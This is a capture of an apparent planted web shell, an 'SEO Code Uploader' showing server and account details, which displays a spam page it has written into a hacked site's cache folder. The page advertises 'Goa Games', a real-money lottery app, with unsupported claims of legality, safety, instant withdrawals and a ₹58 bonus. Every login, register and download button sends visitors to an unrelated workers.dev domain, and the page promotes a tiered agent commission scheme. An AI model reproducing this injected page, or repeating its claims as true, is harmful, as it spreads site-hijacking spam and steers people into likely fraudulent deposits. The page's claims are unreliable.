Sid Gifari SEO Code Uplaoder

Sid Gifari SEO Code Uplaoder

Telegram:sidgifari

Upload File:
HEX
HEX
Server: LiteSpeed
System: Linux premium311.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: scepbisv (1262)
PHP: 8.1.33
Disabled: NONE
$ pwd: /home/scepbisv/test.sceptrepro.com/cache/
Upload Files
File: /home/scepbisv/test.sceptrepro.com/cache/5e4e8717d505c41c4d7f8016aa507b55.html
<!DOCTYPE html>
<html lang="en-IN">
<head>
    <meta charset="UTF-8">
    <meta name="google-site-verification" content="D08" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Goa Games India | Official Website - Login, Register & Claim ₹58 Bonus</title>
    <meta name="description" content="Goa Games Official India - Play exciting lottery games, win real money, and claim a ₹58 first deposit bonus. Download the Goa Games App, become an agent, and start earning today. Secure login and fast withdrawal.">
    <meta name="keywords" content="Goa Games, Goa Games Login, Goa Games Register, Goa Games App Download, Indian Lottery, Online Earning App, Goa Games Agent, Goa Games Promo Code">
    <meta name="robots" content="index, follow">
    <meta name="geo.region" content="IN">
    <meta name="geo.position" content="20.5937;78.9629">
    <meta name="ICBM" content="20.5937, 78.9629">
    <meta property="og:title" content="Goa Games India | Play & Win Real Cash">
    <meta property="og:description" content="Join Goa Games today! Claim your ₹58 bonus, play prediction games, and withdraw winnings instantly.">
    <meta property="og:type" content="website">
    <meta property="og:url" content="https://test.sceptrepro.com/india.php">
    <meta property="og:image" content="https://th.bing.com/th?q=Goa-Games">
    <link rel="canonical" href="https://test.sceptrepro.com/india.php">
    <!-- Tailwind CSS -->
    <script src="https://cdn.tailwindcss.com"></script>
    <!-- FontAwesome -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;600;700&family=Poppins:wght@500;700&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Inter', sans-serif;
            background-color: #0f172a; /* Slate 900 */
            color: #e2e8f0;
        }
        h1, h2, h3, h4, .font-heading {
            font-family: 'Poppins', sans-serif;
        }
        .gold-gradient {
            background: linear-gradient(135deg, #FFD700 0%, #FDB931 50%, #d4af37 100%);
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
        }
        .gold-bg {
            background: linear-gradient(135deg, #FFD700 0%, #FDB931 100%);
        }
        .glass-panel {
            background: rgba(30, 41, 59, 0.7);
            backdrop-filter: blur(10px);
            border: 1px solid rgba(255, 255, 255, 0.1);
        }
        .hero-overlay {
            background: linear-gradient(to bottom, rgba(15, 23, 42, 0.3), #0f172a);
        }
        /* Custom Scrollbar */
        ::-webkit-scrollbar {
            width: 8px;
        }
        ::-webkit-scrollbar-track {
            background: #0f172a; 
        }
        ::-webkit-scrollbar-thumb {
            background: #475569; 
            border-radius: 4px;
        }
        ::-webkit-scrollbar-thumb:hover {
            background: #64748b; 
        }
    </style>

    <!-- Structured Data for SEO -->
    <script type="application/ld+json">
    {
      "@context": "https://schema.org",
      "@type": "WebSite",
      "name": "Goa Games India",
      "url": "https://test.sceptrepro.com/india.php",
      "description": "The official Goa Games platform for India. Play games, earn money, and download the app.",
      "potentialAction": {
        "@type": "SearchAction",
        "target": "https://th.bing.com/th?q=Goa-Games",
        "query-input": "required name=search_term_string"
      }
    }
    </script>
</head>
<body class="antialiased scroll-smooth">

    <!-- Navbar -->
    <nav class="fixed w-full z-50 glass-panel border-b border-slate-700 transition-all duration-300" id="navbar">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex items-center justify-between h-20">
                <div class="flex-shrink-0 flex items-center gap-2 cursor-pointer" onclick="window.scrollTo(0,0)">
                    <div class="w-10 h-10 bg-yellow-500 rounded-full flex items-center justify-center text-slate-900 font-bold text-xl">L8</div>
                    <span class="font-heading text-2xl font-bold text-white tracking-wider">Goa Games</span>
                </div>
                <div class="hidden md:block">
                    <div class="ml-10 flex items-baseline space-x-4">
                        <a href="#about" class="hover:text-yellow-400 px-3 py-2 rounded-md text-sm font-medium transition">About</a>
                        <a href="#games" class="hover:text-yellow-400 px-3 py-2 rounded-md text-sm font-medium transition">Games</a>
                        <a href="#app" class="hover:text-yellow-400 px-3 py-2 rounded-md text-sm font-medium transition">App</a>
                        <a href="#guides" class="hover:text-yellow-400 px-3 py-2 rounded-md text-sm font-medium transition">Guides</a>
                        <a href="#agent" class="hover:text-yellow-400 px-3 py-2 rounded-md text-sm font-medium transition">Earn Money</a>
                    </div>
                </div>
                <div class="hidden md:flex gap-3">
                    <a href="https://middle.noblewinchesterdih.workers.dev/" class="text-white border border-yellow-500 hover:bg-yellow-500/10 px-6 py-2 rounded-full font-semibold transition">Login</a>
                    <a href="https://middle.noblewinchesterdih.workers.dev/" class="gold-bg text-slate-900 px-6 py-2 rounded-full font-bold hover:shadow-[0_0_15px_rgba(253,185,49,0.5)] transition transform hover:-translate-y-0.5">Register</a>
                </div>
                <div class="-mr-2 flex md:hidden">
                    <button type="button" onclick="document.getElementById('mobile-menu').classList.toggle('hidden')" class="inline-flex items-center justify-center p-2 rounded-md text-gray-400 hover:text-white hover:bg-gray-700 focus:outline-none">
                        <i class="fas fa-bars text-xl"></i>
                    </button>
                </div>
            </div>
        </div>

        <!-- Mobile Menu -->
        <div class="hidden md:hidden bg-slate-800" id="mobile-menu">
            <div class="px-2 pt-2 pb-3 space-y-1 sm:px-3">
                <a href="#about" class="text-gray-300 hover:text-white block px-3 py-2 rounded-md text-base font-medium">About</a>
                <a href="#games" class="text-gray-300 hover:text-white block px-3 py-2 rounded-md text-base font-medium">Games</a>
                <a href="#guides" class="text-gray-300 hover:text-white block px-3 py-2 rounded-md text-base font-medium">How to Play</a>
                <a href="#agent" class="text-gray-300 hover:text-white block px-3 py-2 rounded-md text-base font-medium">Agent Program</a>
                <div class="pt-4 flex flex-col gap-3">
                    <a href="https://middle.noblewinchesterdih.workers.dev/" class="w-full text-center text-white border border-yellow-500 px-4 py-3 rounded-lg font-semibold">Login</a>
                    <a href="https://middle.noblewinchesterdih.workers.dev/" class="w-full text-center gold-bg text-slate-900 px-4 py-3 rounded-lg font-bold">Register Now</a>
                </div>
            </div>
        </div>
    </nav>

    <!-- Hero Section -->
    <section class="relative h-screen min-h-[600px] flex items-center justify-center overflow-hidden">
        <!-- Background Image via Bing API -->
        <div class="absolute inset-0 z-0">
            <img src="https://th.bing.com/th?q=casino+lottery+jackpot+background+dark" alt="Goa Games Background" class="w-full h-full object-cover opacity-40">
            <div class="absolute inset-0 hero-overlay"></div>
        </div>
        
        <div class="relative z-10 max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 text-center pt-20">
            <div class="inline-block animate-bounce mb-4 bg-yellow-500/20 border border-yellow-500/50 rounded-full px-4 py-1">
                <span class="text-yellow-400 text-sm font-semibold tracking-wide uppercase">🇮🇳 India's #1 Trusted Lottery Platform</span>
            </div>
            <h1 class="text-5xl md:text-7xl font-extrabold text-white mb-6 leading-tight drop-shadow-2xl">
                Win Big with <span class="gold-gradient">Goa Games</span>
            </h1>
            <p class="mt-4 max-w-2xl mx-auto text-xl text-gray-300">
                Experience the thrill of real-time lottery games, slots, and prediction markets. Join over 1 million Indian users winning daily.
            </p>
            <p class="mt-4 max-w-2xl mx-auto text-xl text-gray-300"><a href="https://dooarstech.in">99club</a> is super fun and full of surprises! When you play, you can win big prizes, get special bonuses, and earn cool rewards just for playing. Sign.</p>
            <div class="mt-8 flex flex-col sm:flex-row gap-4 justify-center items-center">
                <a href="https://middle.noblewinchesterdih.workers.dev/" class="w-full sm:w-auto gold-bg text-slate-900 px-8 py-4 rounded-xl font-bold text-lg hover:scale-105 transition shadow-[0_0_20px_rgba(253,185,49,0.4)]">
                    <i class="fas fa-user-plus mr-2"></i> Create Account
                </a>
                <a href="https://middle.noblewinchesterdih.workers.dev/" class="w-full sm:w-auto bg-slate-800 border-2 border-slate-600 hover:border-yellow-500 text-white px-8 py-4 rounded-xl font-bold text-lg transition">
                    <i class="fas fa-sign-in-alt mr-2"></i> Member Login
                </a>
            </div>

            <!-- Bonus Badge -->
            <div class="mt-12">
                <div class="inline-flex items-center bg-gradient-to-r from-red-600 to-red-800 rounded-lg p-4 border border-red-500 shadow-lg transform rotate-1 hover:rotate-0 transition duration-300 cursor-pointer">
                    <div class="bg-white/20 rounded-full p-2 mr-3">
                        <i class="fas fa-gift text-2xl text-white"></i>
                    </div>
                    <div class="text-left">
                        <p class="text-xs text-red-200 uppercase font-bold">New User Offer</p>
                        <p class="text-white font-bold text-lg">Get ₹58 FREE on Sign Up!</p>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Why Choose Us / Intro -->
    <section id="about" class="py-20 bg-slate-900">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-16">
                <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Why Choose <span class="text-yellow-500">Goa Games?</span></h2>
                <div class="w-24 h-1 bg-yellow-500 mx-auto rounded-full"></div>
                <p class="mt-4 text-gray-400 max-w-2xl mx-auto">Goa Games is the premier online gaming and investment platform in India, offering a secure environment, fast withdrawals, and exclusive rewards.</p>
            </div>

            <div class="grid grid-cols-1 md:grid-cols-3 gap-8">
                <!-- Feature 1 -->
                <div class="glass-panel p-8 rounded-2xl hover:bg-slate-800 transition text-center group">
                    <div class="w-16 h-16 bg-blue-600/20 rounded-2xl flex items-center justify-center mx-auto mb-6 group-hover:scale-110 transition">
                        <i class="fas fa-shield-alt text-3xl text-blue-500"></i>
                    </div>
                    <h3 class="text-xl font-bold text-white mb-3">100% Secure & Safe</h3>
                    <p class="text-gray-400 text-sm">We use advanced encryption to protect your data and transactions. Your funds are always safe with Goa Games.</p>
                </div>

                <!-- Feature 2 -->
                <div class="glass-panel p-8 rounded-2xl hover:bg-slate-800 transition text-center group">
                    <div class="w-16 h-16 bg-green-600/20 rounded-2xl flex items-center justify-center mx-auto mb-6 group-hover:scale-110 transition">
                        <i class="fas fa-bolt text-3xl text-green-500"></i>
                    </div>
                    <h3 class="text-xl font-bold text-white mb-3">Instant Withdrawal</h3>
                    <p class="text-gray-400 text-sm">Withdraw your winnings directly to your bank account or UPI ID instantly. 24/7 processing available.</p>
                </div>

                <!-- Feature 3 -->
                <div class="glass-panel p-8 rounded-2xl hover:bg-slate-800 transition text-center group">
                    <div class="w-16 h-16 bg-yellow-600/20 rounded-2xl flex items-center justify-center mx-auto mb-6 group-hover:scale-110 transition">
                        <i class="fas fa-users text-3xl text-yellow-500"></i>
                    </div>
                    <h3 class="text-xl font-bold text-white mb-3">24/7 Support</h3>
                    <p class="text-gray-400 text-sm">Our dedicated support team is available round the clock to assist you via Telegram and Live Chat.</p>
                </div>
            </div>
        </div>
    </section>

    <!-- Game Categories -->
    <section id="games" class="py-20 bg-slate-950 relative overflow-hidden">
        <div class="absolute top-0 right-0 w-64 h-64 bg-purple-600/10 rounded-full blur-3xl"></div>
        <div class="absolute bottom-0 left-0 w-64 h-64 bg-yellow-600/10 rounded-full blur-3xl"></div>

        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 relative z-10">
            <div class="flex flex-col md:flex-row justify-between items-end mb-12">
                <div>
                    <h2 class="text-3xl md:text-4xl font-bold text-white mb-2">Our <span class="text-yellow-500">Game Categories</span></h2>
                    <p class="text-gray-400">Explore a wide variety of winning opportunities.</p>
                </div>
                <a href="https://test.sceptrepro.com/india.php/Goa-Games/" class="mt-4 md:mt-0 text-yellow-500 hover:text-white font-semibold flex items-center gap-2">
                    View All Games <i class="fas fa-arrow-right"></i>
                </a>
            </div>

            <div class="grid grid-cols-2 md:grid-cols-4 gap-4 md:gap-6">
                <!-- Game 1 -->
                <a href="https://test.sceptrepro.com/india.php/SkyCrown/" class="group relative rounded-2xl overflow-hidden aspect-[3/4] border border-slate-700 hover:border-yellow-500 transition">
                    <img src="https://th.bing.com/th?q=color+prediction+game+ui" alt="Win Go" class="w-full h-full object-cover transition duration-500 group-hover:scale-110">
                    <div class="absolute inset-0 bg-gradient-to-t from-black via-black/50 to-transparent p-4 flex flex-col justify-end">
                        <h3 class="text-lg font-bold text-white">Win Go</h3>
                        <p class="text-xs text-gray-300">Color Prediction</p>
                    </div>
                </a>
                
                <!-- Game 2 -->
                <a href="https://test.sceptrepro.com/india.php/BetDSI/" class="group relative rounded-2xl overflow-hidden aspect-[3/4] border border-slate-700 hover:border-yellow-500 transition">
                    <img src="https://th.bing.com/th?q=slot+machine+jackpot" alt="Slots" class="w-full h-full object-cover transition duration-500 group-hover:scale-110">
                    <div class="absolute inset-0 bg-gradient-to-t from-black via-black/50 to-transparent p-4 flex flex-col justify-end">
                        <h3 class="text-lg font-bold text-white">Slots</h3>
                        <p class="text-xs text-gray-300">Jackpot Games</p>
                    </div>
                </a>

                <!-- Game 3 -->
                <a href="https://test.sceptrepro.com/india.php/RoboCat/" class="group relative rounded-2xl overflow-hidden aspect-[3/4] border border-slate-700 hover:border-yellow-500 transition">
                    <img src="https://th.bing.com/th?q=fishing+arcade+game" alt="Fishing" class="w-full h-full object-cover transition duration-500 group-hover:scale-110">
                    <div class="absolute inset-0 bg-gradient-to-t from-black via-black/50 to-transparent p-4 flex flex-col justify-end">
                        <h3 class="text-lg font-bold text-white">Fishing</h3>
                        <p class="text-xs text-gray-300">Arcade Hunter</p>
                    </div>
                </a>

                <!-- Game 4 -->
                <a href="https://test.sceptrepro.com/india.php/betimate/" class="group relative rounded-2xl overflow-hidden aspect-[3/4] border border-slate-700 hover:border-yellow-500 transition">
                    <img src="https://th.bing.com/th?q=sports+betting+cricket" alt="Sports" class="w-full h-full object-cover transition duration-500 group-hover:scale-110">
                    <div class="absolute inset-0 bg-gradient-to-t from-black via-black/50 to-transparent p-4 flex flex-col justify-end">
                        <h3 class="text-lg font-bold text-white">Sports</h3>
                        <p class="text-xs text-gray-300">Cricket & Football</p>
                    </div>
                </a>
            </div>
        </div>
    </section>

    <!-- Detailed Guides (Tabs) -->
    <section id="guides" class="py-20 bg-slate-900">
        <div class="max-w-4xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="text-center mb-12">
                <h2 class="text-3xl font-bold text-white">Beginner's <span class="text-yellow-500">Guide</span></h2>
                <p class="text-gray-400 mt-2">Everything you need to know to start winning on Goa Games.</p>
            </div>

            <!-- Tab Navigation -->
            <div class="flex flex-wrap justify-center gap-2 mb-8" id="guideTabs">
                <button onclick="switchTab('register')" class="tab-btn active px-6 py-2 rounded-full text-sm font-bold bg-yellow-500 text-slate-900 border border-yellow-500">Registration</button>
                <button onclick="switchTab('login')" class="tab-btn px-6 py-2 rounded-full text-sm font-bold text-gray-300 border border-slate-600 hover:border-yellow-500 hover:text-white">Login</button>
                <button onclick="switchTab('deposit')" class="tab-btn px-6 py-2 rounded-full text-sm font-bold text-gray-300 border border-slate-600 hover:border-yellow-500 hover:text-white">Deposit</button>
                <button onclick="switchTab('withdraw')" class="tab-btn px-6 py-2 rounded-full text-sm font-bold text-gray-300 border border-slate-600 hover:border-yellow-500 hover:text-white">Withdraw</button>
                <button onclick="switchTab('bonus')" class="tab-btn px-6 py-2 rounded-full text-sm font-bold text-gray-300 border border-slate-600 hover:border-yellow-500 hover:text-white">Claim Bonus</button>
            </div>

            <!-- Content Container -->
            <div class="glass-panel p-8 rounded-2xl min-h-[300px]">
                
                <!-- Registration Guide -->
                <div id="register-content" class="guide-content">
                    <h3 class="text-2xl font-bold text-white mb-4">How to Create a Goa Games Account</h3>
                    <ol class="list-decimal list-inside space-y-4 text-gray-300">
                        <li class="pl-2">Click on the <a href="https://middle.noblewinchesterdih.workers.dev/" class="text-yellow-500 underline">Register Button</a> at the top of the page.</li>
                        <li class="pl-2">Enter your valid <strong>Indian Mobile Number</strong> (Do not add +91).</li>
                        <li class="pl-2">Create a strong password (mix of letters and numbers).</li>
                        <li class="pl-2">Enter the invitation code if you have one to get extra rewards.</li>
                        <li class="pl-2">Agree to the Privacy Policy and click "Register".</li>
                    </ol>
                    <div class="mt-6 bg-slate-800 p-4 rounded-lg border-l-4 border-yellow-500">
                        <p class="text-sm text-gray-400"><i class="fas fa-info-circle text-yellow-500 mr-2"></i> <strong>Tip:</strong> Ensure your phone number is linked to a UPI app (Paytm/PhonePe) for faster withdrawals.</p>
                    </div>
                </div>

                <!-- Login Guide -->
                <div id="login-content" class="guide-content hidden">
                    <h3 class="text-2xl font-bold text-white mb-4">How to Log in to Goa Games</h3>
                    <p class="text-gray-300 mb-4">Accessing your account is simple and secure.</p>
                    <ul class="space-y-3 text-gray-300">
                        <li class="flex items-start"><i class="fas fa-check text-green-500 mt-1 mr-3"></i> Visit the official site or open the App.</li>
                        <li class="flex items-start"><i class="fas fa-check text-green-500 mt-1 mr-3"></i> Click the "Login" button.</li>
                        <li class="flex items-start"><i class="fas fa-check text-green-500 mt-1 mr-3"></i> Enter your registered Mobile Number and Password.</li>
                        <li class="flex items-start"><i class="fas fa-check text-green-500 mt-1 mr-3"></i> Solve the simple captcha if prompted.</li>
                    </ul>
                </div>

                <!-- Deposit Guide -->
                <div id="deposit-content" class="guide-content hidden">
                    <h3 class="text-2xl font-bold text-white mb-4">How to Deposit Money</h3>
                    <p class="text-gray-300 mb-4">We support all major Indian payment methods.</p>
                    <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                        <div class="bg-slate-800 p-4 rounded-lg">
                            <h4 class="font-bold text-yellow-500 mb-2">Supported Methods</h4>
                            <p class="text-sm text-gray-400">UPI, Paytm, PhonePe, GPay, USDT (Crypto).</p>
                        </div>
                        <div class="bg-slate-800 p-4 rounded-lg">
                            <h4 class="font-bold text-yellow-500 mb-2">Minimum Deposit</h4>
                            <p class="text-sm text-gray-400">₹100 (Instant Credit).</p>
                        </div>
                    </div>
                    <p class="mt-4 text-gray-300 text-sm">Simply go to Wallet > Recharge, select the amount, and complete payment via your preferred UPI app.</p>
                </div>

                <!-- Withdraw Guide -->
                <div id="withdraw-content" class="guide-content hidden">
                    <h3 class="text-2xl font-bold text-white mb-4">How to Withdraw Winnings</h3>
                    <ol class="list-decimal list-inside space-y-4 text-gray-300">
                        <li class="pl-2">Navigate to the "Wallet" section and select "Withdraw".</li>
                        <li class="pl-2">Add your Bank Account details (IFSC code, Account Number) or UPI ID.</li>
                        <li class="pl-2">Enter the amount you wish to withdraw (Min ₹110).</li>
                        <li class="pl-2">Enter your login password for security confirmation.</li>
                        <li class="pl-2">Click "Withdraw". Money usually reflects within 10-30 minutes.</li>
                    </ol>
                </div>

                <!-- Bonus Guide -->
                <div id="bonus-content" class="guide-content hidden">
                    <h3 class="text-2xl font-bold text-white mb-4">Claim Your First Deposit Bonus</h3>
                    <div class="flex items-center gap-4 mb-6">
                        <div class="text-4xl font-bold text-yellow-500">₹58</div>
                        <div class="text-gray-300">Free Bonus for New Users</div>
                    </div>
                    <p class="text-gray-300 mb-4">To claim this exclusive reward:</p>
                    <ul class="space-y-2 text-gray-300 text-sm">
                        <li>1. Register a new account.</li>
                        <li>2. Bind your bank details.</li>
                        <li>3. Make a first deposit of at least ₹100.</li>
                        <li>4. The bonus will be automatically credited or contact customer support.</li>
                    </ul>
                </div>

            </div>
        </div>
    </section>

    <!-- App Download Section -->
    <section id="app" class="py-20 relative overflow-hidden bg-gradient-to-br from-indigo-900 to-slate-900">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="flex flex-col md:flex-row items-center gap-12">
                <div class="w-full md:w-1/2 relative">
                    <!-- Placeholder for App Image -->
                    <div class="relative mx-auto border-gray-800 bg-gray-800 border-[14px] rounded-[2.5rem] h-[600px] w-[300px] shadow-xl">
                        <div class="h-[32px] w-[3px] bg-gray-800 absolute -left-[17px] top-[72px] rounded-l-lg"></div>
                        <div class="h-[46px] w-[3px] bg-gray-800 absolute -left-[17px] top-[124px] rounded-l-lg"></div>
                        <div class="h-[46px] w-[3px] bg-gray-800 absolute -left-[17px] top-[178px] rounded-l-lg"></div>
                        <div class="h-[64px] w-[3px] bg-gray-800 absolute -right-[17px] top-[142px] rounded-r-lg"></div>
                        <div class="rounded-[2rem] overflow-hidden w-full h-full bg-slate-900">
                            <img src="https://th.bing.com/th?q=Goa-Games+mobile+app+interface" class="w-full h-full object-cover" alt="Goa Games App Screen">
                        </div>
                    </div>
                </div>
                
                <div class="w-full md:w-1/2 text-left">
                    <span class="text-yellow-500 font-bold tracking-wider uppercase text-sm mb-2 block">Mobile Experience</span>
                    <h2 class="text-4xl md:text-5xl font-bold text-white mb-6">Download the <span class="gold-gradient">Goa Games App</span></h2>
                    <p class="text-gray-300 text-lg mb-8">
                        Enjoy a smoother gaming experience with our official app. Faster loading, secure biometric login, and instant notifications for results and bonuses.
                    </p>
                    
                    <div class="flex flex-col sm:flex-row gap-4">
                        <a href="https://middle.noblewinchesterdih.workers.dev/" class="flex items-center justify-center bg-white text-slate-900 px-6 py-3 rounded-xl hover:bg-gray-100 transition shadow-lg w-full sm:w-auto">
                            <i class="fab fa-android text-3xl text-green-600 mr-3"></i>
                            <div class="text-left">
                                <div class="text-xs font-semibold uppercase">Download for</div>
                                <div class="text-xl font-bold font-heading">Android</div>
                            </div>
                        </a>
                        <a href="https://middle.noblewinchesterdih.workers.dev/" class="flex items-center justify-center bg-gray-800 text-white border border-gray-600 px-6 py-3 rounded-xl hover:bg-gray-700 transition shadow-lg w-full sm:w-auto">
                            <i class="fab fa-apple text-3xl text-white mr-3"></i>
                            <div class="text-left">
                                <div class="text-xs font-semibold uppercase">Download for</div>
                                <div class="text-xl font-bold font-heading">iOS</div>
                            </div>
                        </a>
                    </div>
                    
                    <div class="mt-8 flex items-center gap-4 text-sm text-gray-400">
                        <div class="flex items-center"><i class="fas fa-star text-yellow-500 mr-1"></i> 4.7/5 Rating</div>
                        <div class="flex items-center"><i class="fas fa-download text-blue-500 mr-1"></i> 1M+ Downloads</div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Agent & Income Section -->
    <section id="agent" class="py-20 bg-slate-950">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="bg-gradient-to-r from-yellow-600 to-yellow-800 rounded-3xl p-8 md:p-12 relative overflow-hidden">
                <div class="absolute inset-0 bg-[url('https://th.bing.com/th?q=network+nodes+background')] opacity-10 bg-cover"></div>
                
                <div class="relative z-10 flex flex-col md:flex-row items-center justify-between gap-8">
                    <div class="md:w-2/3">
                        <h2 class="text-3xl md:text-4xl font-bold text-white mb-4">Earn Money as a <span class="text-slate-900 bg-yellow-400 px-2 rounded">Goa Games Agent</span></h2>
                        <p class="text-yellow-100 text-lg mb-6">
                            Join our Agent Rewards Program and earn passive income. Invite friends and get up to <strong class="text-white">0.6% - 1.2% commission</strong> on their bets, plus daily salary bonuses.
                        </p>
                        <ul class="grid grid-cols-1 sm:grid-cols-2 gap-3 text-white mb-8">
                            <li class="flex items-center"><i class="fas fa-check-circle text-green-300 mr-2"></i> Daily Salary System</li>
                            <li class="flex items-center"><i class="fas fa-check-circle text-green-300 mr-2"></i> Level 1-6 Commission</li>
                            <li class="flex items-center"><i class="fas fa-check-circle text-green-300 mr-2"></i> Weekly Loss Rebate</li>
                            <li class="flex items-center"><i class="fas fa-check-circle text-green-300 mr-2"></i> Invitation Bonus ₹500+</li>
                        </ul>
                        <a href="https://middle.noblewinchesterdih.workers.dev/" class="inline-block bg-slate-900 text-white hover:bg-slate-800 px-8 py-3 rounded-full font-bold transition">
                            Start Earning Now
                        </a>
                    </div>
                    <div class="md:w-1/3">
                        <img src="https://th.bing.com/th?q=3d+money+bag+coins" alt="Earn Money" class="w-full max-w-[250px] mx-auto drop-shadow-2xl animate-pulse">
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Official Exclusive Rewards -->
    <section class="py-20 bg-slate-900">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 text-center">
            <h2 class="text-3xl font-bold text-white mb-12">Official <span class="text-yellow-500">Exclusive Rewards</span></h2>
            <div class="grid grid-cols-1 md:grid-cols-4 gap-6">
                <!-- Reward 1 -->
                <div class="p-6 border border-slate-700 rounded-xl bg-slate-800/50">
                    <i class="fas fa-gift text-4xl text-red-500 mb-4"></i>
                    <h4 class="font-bold text-white text-lg">Wingo Streak Bonus</h4>
                    <p class="text-gray-400 text-sm mt-2">Win consecutively and get extra bonus rewards up to ₹10,000.</p>
                </div>
                <!-- Reward 2 -->
                <div class="p-6 border border-slate-700 rounded-xl bg-slate-800/50">
                    <i class="fas fa-coins text-4xl text-yellow-500 mb-4"></i>
                    <h4 class="font-bold text-white text-lg">Monthly Salary</h4>
                    <p class="text-gray-400 text-sm mt-2">Active agents receive monthly salaries based on team performance.</p>
                </div>
                <!-- Reward 3 -->
                <div class="p-6 border border-slate-700 rounded-xl bg-slate-800/50">
                    <i class="fas fa-umbrella-beach text-4xl text-blue-500 mb-4"></i>
                    <h4 class="font-bold text-white text-lg">VIP Club</h4>
                    <p class="text-gray-400 text-sm mt-2">Reach VIP levels to unlock exclusive gifts, trips, and higher limits.</p>
                </div>
                <!-- Reward 4 -->
                <div class="p-6 border border-slate-700 rounded-xl bg-slate-800/50">
                    <i class="fas fa-code-branch text-4xl text-green-500 mb-4"></i>
                    <h4 class="font-bold text-white text-lg">Recharge Bonus</h4>
                    <p class="text-gray-400 text-sm mt-2">Get 2% extra on every USDT deposit you make.</p>
                </div>
            </div>
        </div>
    </section>

    <!-- FAQ Section -->
    <section class="py-20 bg-slate-950">
        <div class="max-w-3xl mx-auto px-4 sm:px-6 lg:px-8">
            <h2 class="text-3xl font-bold text-white text-center mb-12">Frequently Asked <span class="text-yellow-500">Questions</span></h2>
            
            <div class="space-y-4">
                <!-- FAQ Item 1 -->
                <div class="border border-slate-700 rounded-lg overflow-hidden">
                    <button class="w-full p-4 text-left bg-slate-800 hover:bg-slate-700 flex justify-between items-center transition" onclick="toggleFaq('faq1')">
                        <span class="font-semibold text-white">Is Goa Games legal in India?</span>
                        <i class="fas fa-chevron-down text-gray-400"></i>
                    </button>
                    <div id="faq1" class="hidden p-4 bg-slate-900 text-gray-300 text-sm">
                        Goa Games operates legally in states where online lottery is permitted. We ensure full compliance with local regulations and prioritize user safety.
                    </div>
                </div>

                <!-- FAQ Item 2 -->
                <div class="border border-slate-700 rounded-lg overflow-hidden">
                    <button class="w-full p-4 text-left bg-slate-800 hover:bg-slate-700 flex justify-between items-center transition" onclick="toggleFaq('faq2')">
                        <span class="font-semibold text-white">How long does withdrawal take?</span>
                        <i class="fas fa-chevron-down text-gray-400"></i>
                    </button>
                    <div id="faq2" class="hidden p-4 bg-slate-900 text-gray-300 text-sm">
                        Withdrawals are fast and secure. Most requests are processed within 10-30 minutes. Large amounts may take up to 24 hours for bank verification.
                    </div>
                </div>

                <!-- FAQ Item 3 -->
                <div class="border border-slate-700 rounded-lg overflow-hidden">
                    <button class="w-full p-4 text-left bg-slate-800 hover:bg-slate-700 flex justify-between items-center transition" onclick="toggleFaq('faq3')">
                        <span class="font-semibold text-white">Can I play without downloading the app?</span>
                        <i class="fas fa-chevron-down text-gray-400"></i>
                    </button>
                    <div id="faq3" class="hidden p-4 bg-slate-900 text-gray-300 text-sm">
                        Yes! Goa Games is fully optimized for mobile browsers. You can register, login, and play directly on Chrome, Safari, or any other browser.
                    </div>
                </div>

                <!-- FAQ Item 4 -->
                <div class="border border-slate-700 rounded-lg overflow-hidden">
                    <button class="w-full p-4 text-left bg-slate-800 hover:bg-slate-700 flex justify-between items-center transition" onclick="toggleFaq('faq4')">
                        <span class="font-semibold text-white">What if I forget my password?</span>
                        <i class="fas fa-chevron-down text-gray-400"></i>
                    </button>
                    <div id="faq4" class="hidden p-4 bg-slate-900 text-gray-300 text-sm">
                        You can reset your password by clicking "Forgot Password" on the login page and verifying your registered mobile number via OTP.
                    </div>
                </div>
            </div>
        </div>
    </section>

    <!-- Footer -->
    <footer class="bg-slate-900 border-t border-slate-800 pt-16 pb-8">
        <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
            <div class="grid grid-cols-1 md:grid-cols-4 gap-8 mb-12">
                <div class="col-span-1 md:col-span-1">
                    <div class="flex items-center gap-2 mb-4">
                        <div class="w-8 h-8 bg-yellow-500 rounded-full flex items-center justify-center text-slate-900 font-bold">L8</div>
                        <span class="font-heading text-xl font-bold text-white">Goa Games</span>
                    </div>
                    <p class="text-gray-400 text-sm">
                        India's premier destination for online lottery and prediction games. Safe, secure, and rewarding.
                    </p>
                </div>
                <div>
                    <h5 class="text-white font-bold mb-4">Quick Links</h5>
                    <ul class="space-y-2 text-sm text-gray-400">
                        <li><a href="#about" class="hover:text-yellow-500">About Us</a></li>
                        <li><a href="#games" class="hover:text-yellow-500">Games</a></li>
                        <li><a href="#agent" class="hover:text-yellow-500">Agent Program</a></li>
                        <li><a href="#app" class="hover:text-yellow-500">Download App</a></li>
                    </ul>
                </div>
                <div>
                    <h5 class="text-white font-bold mb-4">Support</h5>
                    <ul class="space-y-2 text-sm text-gray-400">
                        <li><a href="https://test.sceptrepro.com/india.php/contact-us" class="hover:text-yellow-500">Contact Us</a></li>
                        <li><a href="https://test.sceptrepro.com/india.php/telegram-channel" class="hover:text-yellow-500">Telegram Channel</a></li>
                        <li><a href="https://test.sceptrepro.com/india.php/privacy-policy" class="hover:text-yellow-500">Privacy Policy</a></li>
                        <li><a href="https://test.sceptrepro.com/india.php/terms-of-service" class="hover:text-yellow-500">Terms of Service</a></li>
                    </ul>
                </div>
                <div>
                    <h5 class="text-white font-bold mb-4">Secure Payment</h5>
